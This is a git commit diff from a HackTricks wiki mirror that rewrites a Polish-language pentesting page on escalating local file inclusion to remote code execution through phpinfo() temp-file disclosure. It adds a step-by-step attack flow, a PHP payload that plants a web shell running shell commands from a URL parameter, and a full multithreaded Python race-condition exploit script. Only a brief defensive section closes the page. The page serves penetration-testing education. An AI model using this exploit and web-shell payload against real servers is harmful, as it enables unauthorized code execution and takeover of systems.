mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md']
This commit is contained in:
parent
2bab9edd96
commit
05fa018f00
@ -1,55 +1,156 @@
|
||||
# LFI to RCE via PHPInfo
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Aby wykorzystać tę lukę, potrzebujesz: **Luki LFI, strony, na której wyświetlany jest phpinfo(), "file_uploads = on" oraz serwer musi mieć możliwość zapisu w katalogu "/tmp".**
|
||||
Aby wykorzystać tę technikę potrzebujesz wszystkich następujących elementów:
|
||||
- Dostępnej strony, która wypisuje wynik phpinfo().
|
||||
- Sterowalnego Local File Inclusion (LFI) primitive (np. include/require na danych wejściowych użytkownika).
|
||||
- Włączonego przesyłania plików w PHP (file_uploads = On). Każdy skrypt PHP zaakceptuje RFC1867 multipart uploads i utworzy tymczasowy plik dla każdej przesłanej części.
|
||||
- Proces PHP musi móc zapisywać do skonfigurowanego upload_tmp_dir (lub domyślnego katalogu tymczasowego systemu), a twoje LFI musi móc include tę ścieżkę.
|
||||
|
||||
[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
|
||||
Klasyczne opracowanie i oryginalny PoC:
|
||||
- Whitepaper: LFI with PHPInfo() Assistance (B. Moore, 2011)
|
||||
- Nazwa oryginalnego skryptu PoC: phpinfolfi.py (zob. whitepaper i mirrors)
|
||||
|
||||
**Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s)
|
||||
Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s
|
||||
|
||||
Musisz naprawić exploit (zmienić **=>** na **=>**). Aby to zrobić, możesz:
|
||||
Uwagi dotyczące oryginalnego PoC
|
||||
- Wynik phpinfo() jest zakodowany w HTML, więc strzałka "=>" często pojawia się jako "=>". Jeśli używasz starych skryptów, upewnij się, że szukają obu form kodowania przy parsowaniu wartości _FILES[tmp_name].
|
||||
- Musisz dostosować payload (twój kod PHP), REQ1 (żądanie do endpointu phpinfo() wraz z paddingiem) oraz LFIREQ (żądanie do twojego LFI sink). Niektóre cele nie potrzebują terminatora null-byte (%00) i nowoczesne wersje PHP go nie respektują. Dostosuj LFIREQ odpowiednio do podatnego sinku.
|
||||
|
||||
Przykładowe sed (tylko jeśli naprawdę używasz starego PoC w Python2) do dopasowania strzałki zakodowanej w HTML:
|
||||
```
|
||||
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
|
||||
sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py
|
||||
```
|
||||
Musisz również zmienić **payload** na początku exploita (na przykład na php-rev-shell), **REQ1** (to powinno wskazywać na stronę phpinfo i powinno zawierać padding, tzn.: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), oraz **LFIREQ** (to powinno wskazywać na lukę LFI, tzn.: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Sprawdź podwójne "%" podczas eksploatacji znaku null)
|
||||
## Teoria
|
||||
|
||||
{{#file}}
|
||||
LFI-With-PHPInfo-Assistance.pdf
|
||||
{{#endfile}}
|
||||
- Kiedy PHP otrzymuje multipart/form-data POST z polem pliku, zapisuje zawartość do pliku tymczasowego (upload_tmp_dir lub domyślne dla OS) i ujawnia ścieżkę w $_FILES['<field>']['tmp_name']. Plik jest automatycznie usuwany na końcu żądania, chyba że zostanie przeniesiony/zmieniony.
|
||||
- Sztuczka polega na poznaniu nazwy pliku tymczasowego i dołączeniu jej za pomocą LFI zanim PHP ją usunie. phpinfo() wypisuje $_FILES, w tym tmp_name.
|
||||
- Poprzez powiększanie nagłówków/parametrów żądania (padding) możesz spowodować, że wczesne fragmenty wyjścia phpinfo() zostaną wysłane do klienta zanim żądanie się zakończy, dzięki czemu możesz odczytać tmp_name, gdy plik tymczasowy nadal istnieje, a następnie natychmiast trafić w LFI z tą ścieżką.
|
||||
|
||||
### Teoria
|
||||
W Windows pliki tymczasowe zwykle znajdują się w katalogu takim jak C:\\Windows\\Temp\\php*.tmp. W Linux/Unix zwykle są w /tmp lub w katalogu skonfigurowanym w upload_tmp_dir.
|
||||
|
||||
Jeśli przesyłanie plików jest dozwolone w PHP i próbujesz przesłać plik, ten plik jest przechowywany w tymczasowym katalogu, aż serwer zakończy przetwarzanie żądania, a następnie ten tymczasowy plik jest usuwany.
|
||||
## Przebieg ataku (krok po kroku)
|
||||
|
||||
Jeśli znajdziesz lukę LFI w serwerze WWW, możesz spróbować odgadnąć nazwę tymczasowego pliku utworzonego i wykorzystać RCE, uzyskując dostęp do tymczasowego pliku, zanim zostanie on usunięty.
|
||||
1) Przygotuj mały PHP payload, który szybko utrwali shell, aby nie przegrać race (zapis pliku jest zazwyczaj szybszy niż oczekiwanie na reverse shell):
|
||||
```
|
||||
<?php file_put_contents('/tmp/.p.php', '<?php system($_GET["x"]); ?>');
|
||||
```
|
||||
2) Wyślij duży multipart POST bezpośrednio do strony phpinfo(), aby utworzyła plik tymczasowy zawierający twój payload. Nadmuchaj różne headers/cookies/params z ~5–10KB paddingu, aby zachęcić do wcześniejszego outputu. Upewnij się, że nazwa pola formularza pasuje do tego, co będziesz parsować w $_FILES.
|
||||
|
||||
W **Windows** pliki są zazwyczaj przechowywane w **C:\Windows\temp\php**
|
||||
3) Gdy odpowiedź phpinfo() wciąż się streamuje, parsuj częściowe body, aby wyciągnąć $_FILES['<field>']['tmp_name'] (HTML-encoded). Jak tylko masz pełną ścieżkę absolutną (np. /tmp/php3Fz9aB), wywołaj swoje LFI, żeby include() tę ścieżkę. Jeśli include() wykona plik tymczasowy zanim zostanie on usunięty, twój payload uruchomi się i utworzy /tmp/.p.php.
|
||||
|
||||
W **linux** nazwa pliku zazwyczaj jest **losowa** i znajduje się w **/tmp**. Ponieważ nazwa jest losowa, konieczne jest **wyodrębnienie skądś nazwy tymczasowego pliku** i uzyskanie do niego dostępu, zanim zostanie usunięty. Można to zrobić, odczytując wartość **zmiennej $\_FILES** wewnątrz treści funkcji "**phpconfig()**".
|
||||
4) Użyj utworzonego pliku: GET /vuln.php?include=/tmp/.p.php&x=id (lub tam, gdzie twój LFI pozwala na jego include) aby niezawodnie wykonywać polecenia.
|
||||
|
||||
**phpinfo()**
|
||||
> Wskazówki
|
||||
> - Użyj wielu równoległych workerów, aby zwiększyć szanse na wygranie wyścigu.
|
||||
> - Umiejscowienie paddingu, które często pomaga: URL parameter, Cookie, User-Agent, Accept-Language, Pragma. Dostosuj do celu.
|
||||
> - Jeśli podatny sink dopisuje rozszerzenie (np. .php), nie potrzebujesz null byte; include() wykona PHP niezależnie od rozszerzenia pliku tymczasowego.
|
||||
|
||||
**PHP** używa bufora o wielkości **4096B** i gdy jest **pełny**, jest **wysyłany do klienta**. Następnie klient może **wysłać** **dużo dużych żądań** (używając dużych nagłówków) **przesyłając php** reverse **shell**, czekać na **pierwszą część phpinfo()**, która zostanie zwrócona (gdzie znajduje się nazwa tymczasowego pliku) i spróbować **uzyskać dostęp do pliku tymczasowego** zanim serwer php usunie plik, eksploatując lukę LFI.
|
||||
## Minimalny PoC Python 3 (oparty na socketach)
|
||||
|
||||
**Skrypt Pythona do próby brutalnego wymuszenia nazwy (jeśli długość = 6)**
|
||||
Poniższy fragment skupia się na kluczowych częściach i jest łatwiejszy do zaadaptowania niż przestarzały skrypt Python2. Dostosuj HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (ścieżka do LFI sink), oraz PAYLOAD.
|
||||
```python
|
||||
import itertools
|
||||
import requests
|
||||
import sys
|
||||
#!/usr/bin/env python3
|
||||
import re, html, socket, threading
|
||||
|
||||
print('[+] Trying to win the race')
|
||||
f = {'file': open('shell.php', 'rb')}
|
||||
for _ in range(4096 * 4096):
|
||||
requests.post('http://target.com/index.php?c=index.php', f)
|
||||
HOST = 'target.local'
|
||||
PORT = 80
|
||||
PHPSCRIPT = '/phpinfo.php'
|
||||
LFIPATH = '/vuln.php?file=%s' # sprintf-style where %s will be the tmp path
|
||||
THREADS = 10
|
||||
|
||||
PAYLOAD = (
|
||||
"<?php file_put_contents('/tmp/.p.php', '<?php system($_GET[\\"x\\"]); ?>'); ?>\r\n"
|
||||
)
|
||||
BOUND = '---------------------------7dbff1ded0714'
|
||||
PADDING = 'A' * 6000
|
||||
REQ1_DATA = (f"{BOUND}\r\n"
|
||||
f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n"
|
||||
f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n")
|
||||
|
||||
REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n"
|
||||
f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n"
|
||||
f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n"
|
||||
f"Content-Type: multipart/form-data; boundary={BOUND}\r\n"
|
||||
f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}")
|
||||
|
||||
LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n")
|
||||
|
||||
pat = re.compile(r"\\[tmp_name\\]\\s*=>\\s*([^\\s<]+)")
|
||||
|
||||
|
||||
print('[+] Bruteforcing the inclusion')
|
||||
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
|
||||
url = 'http://target.com/index.php?c=/tmp/php' + fname
|
||||
r = requests.get(url)
|
||||
if 'load average' in r.text: # <?php echo system('uptime');
|
||||
print('[+] We have got a shell: ' + url)
|
||||
sys.exit(0)
|
||||
def race_once():
|
||||
s1 = socket.socket()
|
||||
s2 = socket.socket()
|
||||
s1.connect((HOST, PORT))
|
||||
s2.connect((HOST, PORT))
|
||||
s1.sendall(REQ1.encode())
|
||||
buf = b''
|
||||
tmp = None
|
||||
while True:
|
||||
chunk = s1.recv(4096)
|
||||
if not chunk:
|
||||
break
|
||||
buf += chunk
|
||||
m = pat.search(html.unescape(buf.decode(errors='ignore')))
|
||||
if m:
|
||||
tmp = m.group(1)
|
||||
break
|
||||
ok = False
|
||||
if tmp:
|
||||
req = (LFI % tmp).encode() % HOST.encode()
|
||||
s2.sendall(req)
|
||||
r = s2.recv(4096)
|
||||
ok = b'.p.php' in r or b'HTTP/1.1 200' in r
|
||||
s1.close(); s2.close()
|
||||
return ok
|
||||
|
||||
print('[x] Something went wrong, please try again')
|
||||
if __name__ == '__main__':
|
||||
hit = False
|
||||
def worker():
|
||||
nonlocal_hit = False
|
||||
while not hit and not nonlocal_hit:
|
||||
nonlocal_hit = race_once()
|
||||
if nonlocal_hit:
|
||||
print('[+] Won the race, payload dropped as /tmp/.p.php')
|
||||
exit(0)
|
||||
ts = [threading.Thread(target=worker) for _ in range(THREADS)]
|
||||
[t.start() for t in ts]
|
||||
[t.join() for t in ts]
|
||||
```
|
||||
## Rozwiązywanie problemów
|
||||
- Nigdy nie widzisz tmp_name: Upewnij się, że naprawdę wysyłasz POST multipart/form-data do phpinfo(). phpinfo() wypisuje $_FILES tylko gdy pole przesyłania pliku było obecne.
|
||||
- Wyjście nie jest wysyłane wcześnie: zwiększ padding, dodaj więcej dużych nagłówków lub wyślij wiele równoległych żądań. Niektóre SAPI/bufory nie wypuszczają danych aż do osiągnięcia większych progów; dostosuj odpowiednio.
|
||||
- Ścieżka LFI zablokowana przez open_basedir lub chroot: musisz skierować LFI na dozwoloną ścieżkę lub przełączyć się na inny wektor LFI2RCE.
|
||||
- Katalog tymczasowy nie jest /tmp: phpinfo() wypisuje pełną absolutną ścieżkę tmp_name; użyj tej dokładnej ścieżki w LFI.
|
||||
|
||||
## Wskazówki obronne
|
||||
- Nigdy nie udostępniaj phpinfo() w środowisku produkcyjnym. Jeśli konieczne, ogranicz dostęp po IP/uwierzytelnieniu i usuń po użyciu.
|
||||
- Trzymaj file_uploads wyłączone jeśli nie są potrzebne. W przeciwnym razie ogranicz upload_tmp_dir do ścieżki niedostępnej dla include() w aplikacji i wymuszaj ścisłą walidację wszystkich ścieżek include/require.
|
||||
- Traktuj każde LFI jako krytyczne; nawet bez phpinfo(), istnieją inne ścieżki LFI→RCE.
|
||||
|
||||
## Powiązane techniki HackTricks
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-temp-file-uploads.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
via-php_session_upload_progress.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-nginx-temp-files.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-eternal-waiting.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
## Referencje
|
||||
- LFI With PHPInfo() Assistance whitepaper (2011) – Packet Storm mirror: https://packetstormsecurity.com/files/download/104825/LFI_With_PHPInfo_Assitance.pdf
|
||||
- PHP Manual – POST method uploads: https://www.php.net/manual/en/features.file-upload.post-method.php
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user